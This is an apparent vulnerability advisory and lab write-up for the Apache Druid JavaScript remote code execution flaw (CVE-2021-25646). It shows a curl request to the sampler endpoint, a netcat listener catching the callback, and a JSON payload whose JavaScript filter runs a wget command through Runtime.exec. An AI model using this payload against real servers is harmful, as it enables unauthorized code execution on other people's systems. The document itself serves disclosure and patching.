CVE-2021-25646 Apache Druid Remote Code Execution Vulnerability

Apache Druid
Apache Druid


Apache Druid includes the ability to execute user-provided JavaScript code embedded in various types of requests. This functionality is intended for use in high-trust environments, and is disabled by default. However, in Druid 0.20.0 and earlier, it is possible for an authenticated user to send a specially-crafted request that forces Druid to run user-provided JavaScript code for that request, regardless of server configuration. This can be leveraged to execute code on the target machine with the privileges of the Druid server process.

Technical Analysis

From Wikipedia:

Druid is a column-oriented, open-source, distributed data store written in Java. Druid is designed to quickly ingest massive quantities of event data, and provide low-latency queries on top of the data.[1] The name Druid comes from the shapeshifting Druid class in many role-playing games, to reflect the fact that the architecture of the system can shift to solve different types of data problems.

Druid is commonly used in business intelligence/OLAP applications to analyze high volumes of real-time and historical data.[2] Druid is used in production by technology companies such as Alibaba,[2] Airbnb,[2] Cisco,[3][2] eBay,[4] Lyft,[5] Netflix,[6] PayPal,[2] Pinterest,[7] Twitter,[8] Walmart,[9] Wikimedia Foundation[10] and Yahoo.[11]

Contrary to the CVE description, this appears to be both unauthenticated and vulnerable in the default configuration of Apache Druid 0.20.0, at least from Docker?

root@kali:~$ curl -vH "Content-Type: application/json" -d @payload.json
*   Trying
* Connected to ( port 8888 (#0)
> POST /druid/indexer/v1/sampler HTTP/1.1
> Host:
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/json
> Content-Length: 949
* upload completely sent off: 949 out of 949 bytes
< HTTP/1.1 200 OK
< Date: Sat, 06 Feb 2021 02:23:07 GMT
< Date: Sat, 06 Feb 2021 02:23:07 GMT
< Content-Type: application/json
< Vary: Accept-Encoding, User-Agent
< Content-Length: 999
* Connection #0 to host left intact
{"numRowsRead":1,"numRowsIndexed":1,"data":[{"input":{"name":"Wikipedia Edits","description":"Edits on Wikipedia from one day","spec":"{\"type\":\"index_parallel\",\"ioConfig\":{\"type\":\"index_parallel\",\"firehose\":{\"type\":\"http\",\"uris\":[\"\"]}},\"tuningConfig\":{\"type\":\"index_parallel\"},\"dataSchema\":{\"dataSource\":\"new-data-source\",\"granularitySpec\":{\"type\":\"uniform\",\"segmentGranularity\":\"DAY\",\"queryGranularity\":\"HOUR\"}}}"},"parsed":{"__time":1262304000000,"name":"Wikipedia Edits","description":"Edits on Wikipedia from one day","spec":"{\"type\":\"index_parallel\",\"ioConfig\":{\"type\":\"index_parallel\",\"firehose\":{\"type\":\"http\",\"uris\":[\"\"]}},\"tuningConfig\":{\"type\":\"index_parallel\"},\"dataSchema\":{\"dataSource\":\"new-data-source\",\"granularitySpec\":{\"type\":\"uniform\",\"segmentGranularity\":\"DAY\",\"queryGranularity\":\"HOUR\"}}}"}}]}* Closing connection 0
root@kali:~$ netcat -nlvp 8080
Ncat: Version 7.91 ( )
Ncat: Listening on :::8080
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
GET / HTTP/1.1

payload.json is adapted from this PoC, then formatted with jq.

root@kali:~$ cat payload.json
  "type": "index",
  "spec": {
    "type": "index",
    "ioConfig": {
      "type": "index",
      "inputSource": {
        "type": "http",
        "uris": [
      "inputFormat": {
        "type": "tsv",
        "findColumnsFromHeader": true
    "dataSchema": {
      "dataSource": "sample",
      "timestampSpec": {
        "column": "timestamp",
        "missingValue": "2010-01-01T00:00:00Z"
      "dimensionsSpec": {},
      "transformSpec": {
        "transforms": [],
        "filter": {
          "type": "javascript",
          "function": "function(value){return java.lang.Runtime.getRuntime().exec('wget')}",
          "dimension": "added",
          "": {
            "enabled": "true"
    "tuningConfig": {
      "type": "index"
  "samplerConfig": {
    "numRows": 50,
    "timeoutMs": 10000

Affected version

  • Apache Druid =< 0.20.0

Unaffected version

  • Apache Druid 0.20.1


We recommend the user upgrade Apache Druid to the unaffected version as soon as possible.